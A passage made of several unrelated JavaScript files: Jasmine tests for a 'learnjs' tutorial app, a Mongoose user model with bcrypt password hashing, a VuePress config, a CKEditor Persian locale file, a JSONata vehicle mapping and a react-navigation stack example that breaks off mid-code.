beforeEach(function() { view = learnjs.profileView(); }); it('shows the users email address when they log in', function() { learnjs.identity.resolve({ email: 'foo@bar.com' }); expect(view.find('.email').text()).toEqual("foo@bar.com"); }); it('shows no email when the user is not logged in yet', function() { expect(view.find('.email').text()).toEqual(""); }); }); describe('problem view', function() { var view; beforeEach(function() { view = learnjs.problemView('1'); }); it('has a title that includes the problem number', function() { expect(view.find('.title').text()).toEqual('Problem #1'); }); it('shows the description', function() { expect(view.find('[data-name="description"]').text()).toEqual('What is truth?'); }); it('shows the problem code', function() { expect(view.find('[data-name="code"]').text()).toEqual('function problem() { return __; }'); }); describe('skip button', function() { it('is added to the navbar when the view is added', function() { expect($('.nav-list .skip-btn').length).toEqual(1); }); it('is removed from the navbar when the view is removed', function() { view.trigger('removingView'); expect($('.nav-list .skip-btn').length).toEqual(0); }); it('contains a link to the next problem', function() { expect($('.nav-list .skip-btn a').attr('href')).toEqual('#problem-2'); }); it('does not added when at the last problem', function() { view.trigger('removingView'); view = learnjs.problemView('2'); expect($('.nav-list .skip-btn').length).toEqual(0); }); }); describe('answer section', function() { var resultFlash; beforeEach(function() { spyOn(learnjs, 'flashElement'); resultFlash = view.find('.result'); }); describe('when the answer is correct', function() { beforeEach(function() { view.find('.answer').val('true'); view.find('.check-btn').click(); }); it('flashes the result', function() { var flashArgs = learnjs.flashElement.calls.argsFor(0); expect(flashArgs[0]).toEqual(resultFlash); expect(flashArgs[1].find('span').text()).toEqual('Correct!'); }); it('shows a link to the next problem', function() { var link = learnjs.flashElement.calls.argsFor(0)[1].find('a'); expect(link.text()).toEqual('Next Problem'); expect(link.attr('href')).toEqual('#problem-2'); }); }); it('rejects an incorrect answer', function() { view.find('.answer').val('false'); view.find('.check-btn').click(); expect(learnjs.flashElement).toHaveBeenCalledWith(resultFlash, 'Incorrect!'); }); }); }); });
const bcrypt = require('bcryptjs'); const config = require('../config/db'); const mongoose = require('mongoose'); // User Schema const user_schema = mongoose.Schema({ first_name: { type: String, required: true }, last_name: { type: String, required: true }, username: { type: String, required: true, validate: { isAsync: true, validator: function(e, callback) { User.find({username: e}, function(err, docs) { callback(docs.length == 0); }); }, message: 'Username already exists!' } }, email: { type: String, required: true, validate: { isAsync: true, validator: function(e, callback) { User.find({email: e}, function(err, docs) { callback(docs.length == 0); }); }, message: 'Email already exists!' } }, organization: { type: String, required: false }, password: { type: String, required: true }, user_type: { type: String, required: true, default: 'User' }, }); const User = module.exports = mongoose.model('User', user_schema); module.exports.get_user_by_id = function(id, callback) { User.findById(id, callback); } module.exports.get_user_by_username = function(username, callback) { const query = {username: username} User.findOne(query, callback); } module.exports.get_user_by_email = function(email, callback) { const query = {email: email} User.findOne(query, callback); } module.exports.get_user_by_type = function(user_type, callback) { const query = {user_type: user_type} User.findOne(query, callback); } module.exports.add_user = function(new_user, callback) { bcrypt.genSalt(10, function(err, salt) { bcrypt.hash(new_user.password, salt, function(err, hash) { if (err) { throw err; } new_user.password = hash; new_user.save(callback); }); }); } module.exports.compare_password = function(candidate_pass, hash, callback) { bcrypt.compare(candidate_pass, hash, function(err, isMatch) { if (err) { throw err; } callback(null, isMatch); }); }
module.exports = { title: 'Tailwind Design System', themeConfig: { sidebar: 'auto', }, stylus: { 'include css': true, include: [ './node_modules/../' // Shortcut references possible everywhere, e.g. @import 'node_modules/bla' ] }, postcss: { plugins: [ require("tailwindcss")("./tailwind.js"), require("autoprefixer") ] } }
/* Copyright (c) 2003-2018, CKSource - Frederico Knabben. All rights reserved. For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license */ CKEDITOR.lang['fa']={"wsc":{"btnIgnore":"چشمپوشی","btnIgnoreAll":"چشمپوشی همه","btnReplace":"جایگزینی","btnReplaceAll":"جایگزینی همه","btnUndo":"واچینش","changeTo":"تغییر به","errorLoading":"خطا در بارگیری برنامه خدمات میزبان: %s.","ieSpellDownload":"بررسی کنندهٴ املا نصب نشده است. آیا میخواهید آن را هماکنون دریافت کنید؟","manyChanges":"بررسی املا انجام شد. %1 واژه تغییر یافت","noChanges":"بررسی املا انجام شد. هیچ واژهای تغییر نیافت","noMispell":"بررسی املا انجام شد. هیچ غلط املائی یافت نشد","noSuggestions":"- پیشنهادی نیست -","notAvailable":"با عرض پوزش خدمات الان در دسترس نیستند.","notInDic":"در واژه~نامه یافت نشد","oneChange":"بررسی املا انجام شد. یک واژه تغییر یافت","progress":"بررسی املا در حال انجام...","title":"بررسی املا","toolbar":"بررسی املا"},"widget":{"move":"کلیک و کشیدن برای جابجایی","label":"%1 widget"},"uploadwidget":{"abort":"Upload aborted by the user.","doneOne":"File successfully uploaded.","doneMany":"Successfully uploaded %1 files.","uploadOne":"Uploading file ({percentage}%)...","uploadMany":"Uploading files, {current} of {max} done ({percentage}%)..."},"undo":{"redo":"بازچیدن","undo":"واچیدن"},"toolbar":{"toolbarCollapse":"بستن نوار ابزار","toolbarExpand":"بازکردن نوار ابزار","toolbarGroups":{"document":"سند","clipboard":"حافظه موقت/برگشت","editing":"در حال ویرایش","forms":"فرم​ها","basicstyles":"سبک‌های پایه","paragraph":"بند","links":"پیوندها","insert":"ورود","styles":"سبک‌ها","colors":"رنگ​ها","tools":"ابزارها"},"toolbars":"نوار ابزارهای ویرایش‌گر"},"templates":{"button":"الگوها","emptyListMsg":"(الگوئی تعریف نشده است)","insertOption":"محتویات کنونی جایگزین شوند","options":"گزینه‌های الگو","selectPromptMsg":"لطفاً الگوی مورد نظر را برای بازکردن در ویرایشگر انتخاب کنید","title":"الگوهای محتویات"},"table":{"border":"اندازهٴ لبه","caption":"عنوان","cell":{"menu":"سلول","insertBefore":"افزودن سلول قبل از","insertAfter":"افزودن سلول بعد از","deleteCell":"حذف سلولها","merge":"ادغام سلولها","mergeRight":"ادغام به راست","mergeDown":"ادغام به پایین","splitHorizontal":"جدا کردن افقی سلول","splitVertical":"جدا کردن عمودی سلول","title":"ویژگیهای سلول","cellType":"نوع سلول","rowSpan":"محدوده ردیفها","colSpan":"محدوده ستونها","wordWrap":"شکستن کلمه","hAlign":"چینش افقی","vAlign":"چینش عمودی","alignBaseline":"خط مبنا","bgColor":"رنگ زمینه","borderColor":"رنگ خطوط","data":"اطلاعات","header":"سرنویس","yes":"بله","no":"خیر","invalidWidth":"عرض سلول باید یک عدد باشد.","invalidHeight":"ارتفاع سلول باید عدد باشد.","invalidRowSpan":"مقدار محدوده ردیفها باید یک عدد باشد.","invalidColSpan":"مقدار محدوده ستونها باید یک عدد باشد.","chooseColor":"انتخاب"},"cellPad":"فاصلهٴ پرشده در سلول","cellSpace":"فاصلهٴ میان سلولها","column":{"menu":"ستون","insertBefore":"افزودن ستون قبل از","insertAfter":"افزودن ستون بعد از","deleteColumn":"حذف ستونها"},"columns":"ستونها","deleteTable":"پاک کردن جدول","headers":"سرنویسها","headersBoth":"هردو","headersColumn":"اولین ستون","headersNone":"هیچ","headersRow":"اولین ردیف","invalidBorder":"مقدار اندازه خطوط باید یک عدد باشد.","invalidCellPadding":"بالشتک سلول باید یک عدد باشد.","invalidCellSpacing":"مقدار فاصلهگذاری سلول باید یک عدد باشد.","invalidCols":"تعداد ستونها باید یک عدد بزرگتر از 0 باشد.","invalidHeight":"مقدار ارتفاع جدول باید یک عدد باشد.","invalidRows":"تعداد ردیفها باید یک عدد بزرگتر از 0 باشد.","invalidWidth":"مقدار پهنای جدول باید یک عدد باشد.","menu":"ویژگیهای جدول","row":{"menu":"سطر","insertBefore":"افزودن سطر قبل از","insertAfter":"افزودن سطر بعد از","deleteRow":"حذف سطرها"},"rows":"سطرها","summary":"خلاصه","title":"ویژگیهای جدول","toolbar":"جدول","widthPc":"درصد","widthPx":"پیکسل","widthUnit":"واحد پهنا"},"stylescombo":{"label":"سبک","panelTitle":"سبکهای قالببندی","panelTitle1":"سبکهای بلوک","panelTitle2":"سبکهای درونخطی","panelTitle3":"سبکهای شیء"},"specialchar":{"options":"گزینه‌های نویسه‌های ویژه","title":"گزینش نویسه‌ی ویژه","toolbar":"گنجاندن نویسه‌ی ویژه"},"sourcearea":{"toolbar":"منبع"},"smiley":{"options":"گزینه​های خندانک","title":"گنجاندن خندانک","toolbar":"خندانک"},"showblocks":{"toolbar":"نمایش بلوک‌ها"},"selectall":{"toolbar":"گزینش همه"},"scayt":{"btn_about":"درباره SCAYT","btn_dictionaries":"دیکشنریها","btn_disable":"غیرفعالسازی SCAYT","btn_enable":"فعالسازی SCAYT","btn_langs":"زبانها","btn_options":"گزینهها","text_title":"بررسی املای تایپ شما"},"save":{"toolbar":"ذخیره"},"removeformat":{"toolbar":"برداشتن فرمت"},"print":{"toolbar":"چاپ"},"preview":{"preview":"پیشنمایش"},"pastetext":{"button":"چسباندن به عنوان متن ساده","pasteNotification":"Press %1 to paste. Your browser doesn‘t support pasting with the toolbar button or context menu option.","title":"چسباندن به عنوان متن ساده"},"pastefromword":{"confirmCleanup":"متنی که میخواهید بچسبانید به نظر میرسد که از Word کپی شده است. آیا میخواهید قبل از چسباندن آن را پاکسازی کنید؟","error":"به دلیل بروز خطای داخلی امکان پاکسازی اطلاعات بازنشانی شده وجود ندارد.","title":"چسباندن از Word","toolbar":"چسباندن از Word"},"pagebreak":{"alt":"شکستن صفحه","toolbar":"گنجاندن شکستگی پایان برگه"},"notification":{"closed":"Notification closed."},"newpage":{"toolbar":"برگهٴ تازه"},"maximize":{"maximize":"بیشنه کردن","minimize":"کمینه کردن"},"magicline":{"title":"قرار دادن بند در اینجا"},"liststyle":{"armenian":"شماره‌گذاری ارمنی","bulletedTitle":"خصوصیات فهرست نقطه‌ای","circle":"دایره","decimal":"ده‌دهی (۱، ۲، ۳، ...)","decimalLeadingZero":"دهدهی همراه با صفر (۰۱، ۰۲، ۰۳، ...)","disc":"صفحه گرد","georgian":"شمارهگذاری گریگورین (an, ban, gan, etc.)","lowerAlpha":"پانویس الفبایی (a, b, c, d, e, etc.)","lowerGreek":"پانویس یونانی (alpha, beta, gamma, etc.)","lowerRoman":"پانویس رومی (i, ii, iii, iv, v, etc.)","none":"هیچ","notset":"<تنظیم نشده>","numberedTitle":"ویژگیهای فهرست شمارهدار","square":"چهارگوش","start":"شروع","type":"نوع","upperAlpha":"بالانویس الفبایی (A, B, C, D, E, etc.)","upperRoman":"بالانویس رومی (I, II, III, IV, V, etc.)","validateStartNumber":"فهرست شماره شروع باید یک عدد صحیح باشد."},"list":{"bulletedlist":"فهرست نقطه​ای","numberedlist":"فهرست شماره​دار"},"link":{"acccessKey":"کلید دستیابی","advanced":"پیشرفته","advisoryContentType":"نوع محتوای کمکی","advisoryTitle":"عنوان کمکی","anchor":{"toolbar":"گنجاندن/ویرایش لنگر","menu":"ویژگی​های لنگر","title":"ویژگی​های لنگر","name":"نام لنگر","errorName":"لطفا نام لنگر را بنویسید","remove":"حذف لنگر"},"anchorId":"با شناسهٴ المان","anchorName":"با نام لنگر","charset":"نویسه​گان منبع پیوند شده","cssClasses":"کلاس​های شیوه​نامه(Stylesheet)","download":"Force Download","displayText":"Display Text","emailAddress":"نشانی پست الکترونیکی","emailBody":"متن پیام","emailSubject":"موضوع پیام","id":"شناسه","info":"اطلاعات پیوند","langCode":"جهت​نمای زبان","langDir":"جهت​نمای زبان","langDirLTR":"چپ به راست (LTR)","langDirRTL":"راست به چپ (RTL)","menu":"ویرایش پیوند","name":"نام","noAnchors":"(در این سند لنگری دردسترس نیست)","noEmail":"لطفا نشانی پست الکترونیکی را بنویسید","noUrl":"لطفا URL پیوند را بنویسید","other":"<سایر>","popupDependent":"وابسته (Netscape)","popupFeatures":"ویژگی​های پنجرهٴ پاپاپ","popupFullScreen":"تمام صفحه (IE)","popupLeft":"موقعیت چپ","popupLocationBar":"نوار موقعیت","popupMenuBar":"نوار منو","popupResizable":"قابل تغییر اندازه","popupScrollBars":"میله​های پیمایش","popupStatusBar":"نوار وضعیت","popupToolbar":"نوار ابزار","popupTop":"موقعیت بالا","rel":"وابستگی","selectAnchor":"یک لنگر برگزینید","styles":"شیوه (style)","tabIndex":"نمایهٴ دسترسی با برگه","target":"مقصد","targetFrame":"<فریم>","targetFrameName":"نام فریم مقصد","targetPopup":"<پنجرهٴ پاپاپ>","targetPopupName":"نام پنجرهٴ پاپاپ","title":"پیوند","toAnchor":"لنگر در همین صفحه","toEmail":"پست الکترونیکی","toUrl":"URL","toolbar":"گنجاندن/ویرایش پیوند","type":"نوع پیوند","unlink":"برداشتن پیوند","upload":"انتقال به سرور"},"language":{"button":"تعیین زبان","remove":"حذف زبان"},"indent":{"indent":"افزایش تورفتگی","outdent":"کاهش تورفتگی"},"image":{"alt":"متن جایگزین","border":"لبه","btnUpload":"به سرور بفرست","button2Img":"آیا مایلید از یک تصویر ساده روی دکمه تصویری انتخاب شده استفاده کنید؟","hSpace":"فاصلهٴ افقی","img2Button":"آیا مایلید از یک دکمه تصویری روی تصویر انتخاب شده استفاده کنید؟","infoTab":"اطلاعات تصویر","linkTab":"پیوند","lockRatio":"قفل کردن نسبت","menu":"ویژگی​های تصویر","resetSize":"بازنشانی اندازه","title":"ویژگی​های تصویر","titleButton":"ویژگی​های دکمهٴ تصویری","upload":"انتقال به سرور","urlMissing":"آدرس URL اصلی تصویر یافت نشد.","vSpace":"فاصلهٴ عمودی","validateBorder":"مقدار خطوط باید یک عدد باشد.","validateHSpace":"مقدار فاصله گذاری افقی باید یک عدد باشد.","validateVSpace":"مقدار فاصله گذاری عمودی باید یک عدد باشد."},"iframe":{"border":"نمایش خطوط frame","noUrl":"لطفا مسیر URL iframe را درج کنید","scrolling":"نمایش خطکشها","title":"ویژگیهای IFrame","toolbar":"IFrame"},"horizontalrule":{"toolbar":"گنجاندن خط افقی"},"forms":{"button":{"title":"ویژگی​های دکمه","text":"متن (مقدار)","type":"نوع","typeBtn":"دکمه","typeSbm":"ثبت","typeRst":"بازنشانی (Reset)"},"checkboxAndRadio":{"checkboxTitle":"ویژگی​های خانهٴ گزینه​ای","radioTitle":"ویژگی​های دکمهٴ رادیویی","value":"مقدار","selected":"برگزیده","required":"Required"},"form":{"title":"ویژگی​های فرم","menu":"ویژگی​های فرم","action":"رویداد","method":"متد","encoding":"رمزنگاری"},"hidden":{"title":"ویژگی​های فیلد پنهان","name":"نام","value":"مقدار"},"select":{"title":"ویژگی​های فیلد چندگزینه​ای","selectInfo":"اطلاعات","opAvail":"گزینه​های دردسترس","value":"مقدار","size":"اندازه","lines":"خطوط","chkMulti":"گزینش چندگانه فراهم باشد","required":"Required","opText":"متن","opValue":"مقدار","btnAdd":"افزودن","btnModify":"ویرایش","btnUp":"بالا","btnDown":"پائین","btnSetValue":"تنظیم به عنوان مقدار برگزیده","btnDelete":"پاککردن"},"textarea":{"title":"ویژگی​های ناحیهٴ متنی","cols":"ستون​ها","rows":"سطرها"},"textfield":{"title":"ویژگی​های فیلد متنی","name":"نام","value":"مقدار","charWidth":"پهنای نویسه","maxChars":"بیشینهٴ نویسه​ها","required":"Required","type":"نوع","typeText":"متن","typePass":"گذرواژه","typeEmail":"ایمیل","typeSearch":"جستجو","typeTel":"شماره تلفن","typeUrl":"URL"}},"format":{"label":"قالب","panelTitle":"قالب بند","tag_address":"نشانی","tag_div":"بند","tag_h1":"سرنویس ۱","tag_h2":"سرنویس ۲","tag_h3":"سرنویس ۳","tag_h4":"سرنویس ۴","tag_h5":"سرنویس ۵","tag_h6":"سرنویس ۶","tag_p":"معمولی","tag_pre":"قالب‌دار"},"font":{"fontSize":{"label":"اندازه","voiceLabel":"اندازه قلم","panelTitle":"اندازه قلم"},"label":"قلم","panelTitle":"نام قلم","voiceLabel":"قلم"},"flash":{"access":"دسترسی به اسکریپت","accessAlways":"همیشه","accessNever":"هرگز","accessSameDomain":"همان دامنه","alignAbsBottom":"پائین مطلق","alignAbsMiddle":"وسط مطلق","alignBaseline":"خط پایه","alignTextTop":"متن بالا","bgcolor":"رنگ پس​زمینه","chkFull":"اجازه تمام صفحه","chkLoop":"اجرای پیاپی","chkMenu":"در دسترس بودن منوی فلش","chkPlay":"آغاز خودکار","flashvars":"مقادیر برای فلش","hSpace":"فاصلهٴ افقی","properties":"ویژگی​های فلش","propertiesTab":"ویژگی​ها","quality":"کیفیت","qualityAutoHigh":"بالا - خودکار","qualityAutoLow":"پایین - خودکار","qualityBest":"بهترین","qualityHigh":"بالا","qualityLow":"پایین","qualityMedium":"متوسط","scale":"مقیاس","scaleAll":"نمایش همه","scaleFit":"جایگیری کامل","scaleNoBorder":"بدون کران","title":"ویژگی​های فلش","vSpace":"فاصلهٴ عمودی","validateHSpace":"مقدار فاصله گذاری افقی باید یک عدد باشد.","validateSrc":"لطفا URL پیوند را بنویسید","validateVSpace":"مقدار فاصله گذاری عمودی باید یک عدد باشد.","windowMode":"حالت پنجره","windowModeOpaque":"مات","windowModeTransparent":"شفاف","windowModeWindow":"پنجره"},"find":{"find":"جستجو","findOptions":"گزینه​های جستجو","findWhat":"چه چیز را مییابید:","matchCase":"همسانی در بزرگی و کوچکی نویسه​ها","matchCyclic":"همسانی با چرخه","matchWord":"همسانی با واژهٴ کامل","notFoundMsg":"متن موردنظر یافت نشد.","replace":"جایگزینی","replaceAll":"جایگزینی همهٴ یافته​ها","replaceSuccessMsg":"%1 رخداد جایگزین شد.","replaceWith":"جایگزینی با:","title":"جستجو و جایگزینی"},"filetools":{"loadError":"Error occurred during file read.","networkError":"Network error occurred during file upload.","httpError404":"HTTP error occurred during file upload (404: File not found).","httpError403":"HTTP error occurred during file upload (403: Forbidden).","httpError":"HTTP error occurred during file upload (error status: %1).","noUrlError":"Upload URL is not defined.","responseError":"Incorrect server response."},"fakeobjects":{"anchor":"لنگر","flash":"انیمشن فلش","hiddenfield":"فیلد پنهان","iframe":"IFrame","unknown":"شیء ناشناخته"},"elementspath":{"eleLabel":"مسیر عناصر","eleTitle":"%1 عنصر"},"div":{"IdInputLabel":"شناسه","advisoryTitleInputLabel":"عنوان مشاوره","cssClassInputLabel":"کلاس​های شیوه​نامه","edit":"ویرایش Div","inlineStyleInputLabel":"سبک درون​خطی(Inline Style)","langDirLTRLabel":"چپ به راست (LTR)","langDirLabel":"جهت نوشتاری زبان","langDirRTLLabel":"راست به چپ (RTL)","languageCodeInputLabel":" کد زبان","remove":"حذف Div","styleSelectLabel":"سبک","title":"ایجاد یک محل DIV","toolbar":"ایجاد یک محل DIV"},"copyformatting":{"label":"Copy Formatting","notification":{"copied":"Formatting copied","applied":"Formatting applied","canceled":"Formatting canceled","failed":"Formatting failed. You cannot apply styles without copying them first."}},"contextmenu":{"options":"گزینه​های منوی زمینه"},"colordialog":{"clear":"پاک کردن","highlight":"متمایز","options":"گزینه​های رنگ","selected":"رنگ انتخاب شده","title":"انتخاب رنگ"},"colorbutton":{"auto":"خودکار","bgColorTitle":"رنگ پس​زمینه","colors":{"000":"سیاه","800000":"خرمایی","8B4513":"قهوه​ای شکلاتی","2F4F4F":"ارغوانی مایل به خاکستری","008080":"آبی مایل به خاکستری","000080":"آبی سیر","4B0082":"نیلی","696969":"خاکستری تیره","B22222":"آتش آجری","A52A2A":"قهوه​ای","DAA520":"میله​ی طلایی","006400":"سبز تیره","40E0D0":"فیروزه​ای","0000CD":"آبی روشن","800080":"ارغوانی","808080":"خاکستری","F00":"قرمز","FF8C00":"نارنجی پررنگ","FFD700":"طلایی","008000":"سبز","0FF":"آبی مایل به سبز","00F":"آبی","EE82EE":"بنفش","A9A9A9":"خاکستری مات","FFA07A":"صورتی کدر روشن","FFA500":"نارنجی","FFFF00":"زرد","00FF00":"فسفری","AFEEEE":"فیروزه​ای رنگ پریده","ADD8E6":"آبی کمرنگ","DDA0DD":"آلویی","D3D3D3":"خاکستری روشن","FFF0F5":"بنفش کمرنگ","FAEBD7":"عتیقه سفید","FFFFE0":"زرد روشن","F0FFF0":"عسلی","F0FFFF":"لاجوردی","F0F8FF":"آبی براق","E6E6FA":"بنفش کمرنگ","FFF":"سفید","1ABC9C":"Strong Cyan","2ECC71":"Emerald","3498DB":"Bright Blue","9B59B6":"Amethyst","4E5F70":"Grayish Blue","F1C40F":"Vivid Yellow","16A085":"Dark Cyan","27AE60":"Dark Emerald","2980B9":"Strong Blue","8E44AD":"Dark Violet","2C3E50":"Desaturated Blue","F39C12":"Orange","E67E22":"Carrot","E74C3C":"Pale Red","ECF0F1":"Bright Silver","95A5A6":"Light Grayish Cyan","DDD":"Light Gray","D35400":"Pumpkin","C0392B":"Strong Red","BDC3C7":"Silver","7F8C8D":"Grayish Cyan","999":"Dark Gray"},"more":"رنگ​های بیشتر...","panelTitle":"رنگها","textColorTitle":"رنگ متن"},"clipboard":{"copy":"رونوشت","copyError":"تنظیمات امنیتی مرورگر شما اجازه نمیدهد که ویرایشگر به طور خودکار عملکردهای کپی کردن را انجام دهد. لطفا با دکمههای صفحه کلید این کار را انجام دهید (Ctrl/Cmd+C).","cut":"برش","cutError":"تنظیمات امنیتی مرورگر شما اجازه نمیدهد که ویرایشگر به طور خودکار عملکردهای برش را انجام دهد. لطفا با دکمههای صفحه کلید این کار را انجام دهید (Ctrl/Cmd+X).","paste":"چسباندن","pasteNotification":"Press %1 to paste. Your browser doesn‘t support pasting with the toolbar button or context menu option.","pasteArea":"محل چسباندن","pasteMsg":"Paste your content inside the area below and press OK.","title":"چسباندن"},"button":{"selectedLabel":"%1 (انتخاب شده)"},"blockquote":{"toolbar":"بلوک نقل قول"},"bidi":{"ltr":"جهت متن از چپ به راست","rtl":"جهت متن از راست به چپ"},"basicstyles":{"bold":"درشت","italic":"خمیده","strike":"خط‌خورده","subscript":"زیرنویس","superscript":"بالانویس","underline":"زیرخط‌دار"},"about":{"copy":"حق نشر &copy; $1. کلیه حقوق محفوظ است.","dlgTitle":"درباره CKEditor","moreInfo":"برای کسب اطلاعات مجوز لطفا به وب سایت ما مراجعه کنید:"},"editor":"ویرایش‌گر متن غنی","editorPanel":"پنل ویرایشگر متن غنی","common":{"editorHelp":"کلید Alt+0 را برای راهنمایی بفشارید","browseServer":"فهرست​نمایی سرور","url":"URL","protocol":"قرارداد","upload":"بالاگذاری","uploadSubmit":"به سرور بفرست","image":"تصویر","flash":"فلش","form":"فرم","checkbox":"چک‌باکس","radio":"دکمه‌ی رادیویی","textField":"فیلد متنی","textarea":"ناحیهٴ متنی","hiddenField":"فیلد پنهان","button":"دکمه","select":"فیلد انتخاب چند گزینه​ای","imageButton":"دکمه‌ی تصویری","notSet":"<تعیین‌نشده>","id":"شناسه","name":"نام","langDir":"جهت زبان","langDirLtr":"چپ به راست","langDirRtl":"راست به چپ","langCode":"کد زبان","longDescr":"URL توصیف طولانی","cssClass":"کلاس​های شیوه​نامه (Stylesheet)","advisoryTitle":"عنوان کمکی","cssStyle":"سبک","ok":"پذیرش","cancel":"انصراف","close":"بستن","preview":"پیش‌نمایش","resize":"تغییر اندازه","generalTab":"عمومی","advancedTab":"پیش‌رفته","validateNumberFailed":"این مقدار یک عدد نیست.","confirmNewPage":"هر تغییر ایجاد شده​ی ذخیره نشده از بین خواهد رفت. آیا اطمینان دارید که قصد بارگیری صفحه جدیدی را دارید؟","confirmCancel":"برخی از گزینه‌ها تغییر کرده‌اند. آیا واقعا قصد بستن این پنجره را دارید؟","options":"گزینه​ها","target":"مقصد","targetNew":"پنجره جدید","targetTop":"بالاترین پنجره","targetSelf":"همان پنجره","targetParent":"پنجره والد","langDirLTR":"چپ به راست","langDirRTL":"راست به چپ","styles":"سبک","cssClasses":"کلاس‌های سبک‌نامه","width":"عرض","height":"طول","align":"چینش","left":"چپ","right":"راست","center":"وسط","justify":"بلوک چین","alignLeft":"چپ چین","alignRight":"راست چین","alignCenter":"Align Center","alignTop":"بالا","alignMiddle":"میانه","alignBottom":"پائین","alignNone":"هیچ","invalidValue":"مقدار نامعتبر.","invalidHeight":"ارتفاع باید یک عدد باشد.","invalidWidth":"عرض باید یک عدد باشد.","invalidLength":"Value specified for the \"%1\" field must be a positive number with or without a valid measurement unit (%2).","invalidCssLength":"عدد تعیین شده برای فیلد \"%1\" باید یک عدد مثبت با یا بدون یک واحد اندازه گیری CSS معتبر باشد (px, %, in, cm, mm, em, ex, pt, or pc).","invalidHtmlLength":"عدد تعیین شده برای فیلد \"%1\" باید یک عدد مثبت با یا بدون یک واحد اندازه گیری HTML معتبر باشد (px or %).","invalidInlineStyle":"عدد تعیین شده برای سبک درون​خطی -Inline Style- باید دارای یک یا چند چندتایی با شکلی شبیه \"name : value\" که باید با یک \";\" از هم جدا شوند.","cssLengthTooltip":"یک عدد برای یک مقدار بر حسب پیکسل و یا یک عدد با یک واحد CSS معتبر وارد کنید (px, %, in, cm, mm, em, ex, pt, or pc).","unavailable":"%1<span class=\"cke_accessibility\">، غیر قابل دسترس</span>","keyboard":{"8":"عقبگرد","13":"ورود","16":"تعویض","17":"کنترل","18":"دگرساز","32":"Space","35":"پایان","36":"خانه","46":"حذف","112":"F1","113":"F2","114":"F3","115":"F4","116":"F5","117":"F6","118":"F7","119":"F8","120":"F9","121":"F10","122":"F11","123":"F12","124":"F13","125":"F14","126":"F15","127":"F16","128":"F17","129":"F18","130":"F19","131":"F20","132":"F21","133":"F22","134":"F23","135":"F24","224":"Command"},"keyboardShortcut":"Keyboard shortcut","optionDefault":"Default"}};
/** * Legacy example of JSONata transformation. */ { "id": id, "type": "Vehicle", "vehicleType": vehicleType, "category": [ category1 ], "location": { "type": "Point", "coordinates": [ longitude, latitude ] }, "name": name, "speed": speed, "cargoWeight": cargoWeight, "serviceStatus": serviceStatus, "serviceProvided": [ serviceProvided1, serviceProvided2 ], "areaServed": areaServed, "refVehicleModel": refVehicleModel, "vehiclePlateIdentifier": vehiclePlateIdentifier }
/** * @flow */ import type { NavigationScreenProp, NavigationState, NavigationStateRoute, NavigationEventSubscription, } from 'react-navigation'; import * as React from 'react'; import { Platform, ScrollView, StatusBar } from 'react-native'; import { createStackNavigator, SafeAreaView, withNavigation, NavigationActions, StackActions, } from 'react-navigation'; import invariant from 'invariant'; import SampleText from './SampleText'; import { Button } from './commonComponents/ButtonWithMargin'; import { HeaderButtons } from './commonComponents/HeaderButtons'; const DEBUG = false; type MyNavScreenProps = { navigation: NavigationScreenProp<NavigationState>, banner: React.Node, }; type BackButtonProps = { navigation: NavigationScreenProp<NavigationStateRoute>, }; class MyBackButton extends React.Component<BackButtonProps, any> { render() { return ( <HeaderButtons> <HeaderButtons.Item title="Back" onPress={this._navigateBack} /> </HeaderButtons> ); } _navigateBack = () => { this.props.navigation.goBack(null); }; } const MyBackButtonWithNavigation = withNavigation(MyBackButton); class MyNavScreen extends React.Component<MyNavScreenProps> { render() { const { navigation, banner } = this.props; const { push, replace, popToTop, pop, dismiss } = navigation; invariant( push && replace && popToTop && pop && dismiss, 'missing action creators for StackNavigator' ); return ( <SafeAreaView> <SampleText>{banner}</SampleText> <Button onPress={() => push('Profile', { name: 'Jane' })} title="Push a profile screen" /> <Button onPress={() => navigation.dispatch( StackActions.reset({ index: 0, actions: [ NavigationActions.navigate({ routeName: 'Photos', params: { name: 'Jane' }, }), ], }) ) } title="Reset photos" /> <Button onPress={() => navigation.navigate('Photos', { name: 'Jane' })} title="Navigate to a photos screen" /> <Button onPress={() => replace('Profile', { name: 'Lucy' })} title="Replace with profile" /> <Button onPress={() => popToTop()} title="Pop to top" /> <Button onPress={() => pop()} title="Pop" /> <Button onPress={() => { if (navigation.goBack()) { console.log('goBack handled'); } else { console.log('goBack unhandled'); } }} title="Go back" /> <Button onPress={() => dismiss()} title="Dismiss" /> <StatusBar barStyle="default" /> </SafeAreaView> ); } } type MyHomeScreenProps = { navigation: NavigationScreenProp<NavigationState>, }; class MyHomeScreen extends React.Component<MyHomeScreenProps> { static navigationOptions = { title: 'Welcome', }; _s0: NavigationEventSubscription; _s1: NavigationEventSubscription; _s2: NavigationEventSubscription; _s3: NavigationEventSubscription; componentDidMount() { this._s0 = this.props.navigation.addListener('willFocus', this._onWF); this._s1 = this.props.navigation.addListener('didFocus', this._onDF); this._s2 = this.props.navigation.addListener('willBlur', this._onWB); this._s3 = this.props.navigation.addListener('didBlur', this._onDB); } componentWillUnmount() { this._s0.remove(); this._s1.remove(); this._s2.remove(); this._s3.remove(); } _onWF = a => { DEBUG && console.log('_willFocus HomeScreen', a); }; _onDF = a => { DEBUG && console.log('_didFocus HomeScreen', a); }; _onWB = a => { DEBUG && console.log('_willBlur HomeScreen', a); }; _onDB = a => { DEBUG && console.log('_didBlur HomeScreen', a); }; render() { const { navigation } = this.props; return <MyNavScreen banner="Home Screen" navigation={navigation} />; } } type MyPhotosScreenProps = { navigation: NavigationScreenProp<NavigationState>, }; class MyPhotosScreen extends React.Component<MyPhotosScreenProps> { static navigationOptions = { title: 'Photos', headerLeft: <MyBackButtonWithNavigation />, }; _s0: NavigationEventSubscription; _s1: NavigationEventSubscription; _s2: NavigationEventSubscription; _s3: NavigationEventSubscription; componentDidMount() { this._s0 = this.props.navigation.addListener('willFocus', this._onWF); this._s1 = this.props.navigation.addListener('didFocus', this._onDF); this._s2 = this.props.navigation.addListener('willBlur', this._onWB); this._s3 = this.props.navigation.addListener('didBlur', this._onDB); } componentWillUnmount() { this._s0.remove(); this._s1.remove(); this._s2.remove(); this._s3.remove(); } _onWF = a => { DEBUG && console.log('_willFocus PhotosScreen', a); }; _onDF = a => { DEBUG && console.log('_didFocus PhotosScreen', a); }; _onWB = a => { DEBUG && console.log('_willBlur PhotosScreen', a); }; _onDB = a => { DEBUG && console.log('_didBlur PhotosScreen', a); }; render() { const { navigation } = this.props; return ( <MyNavScreen banner={`${navigation.getParam('name')}'s Photos`} navigation={navigation} /> ); } } const MyProfileScreen = ({ navigation }) => ( <MyNavScreen banner={`${ navigation.getParam('mode') === 'edit' ? 'Now Editing ' : '' 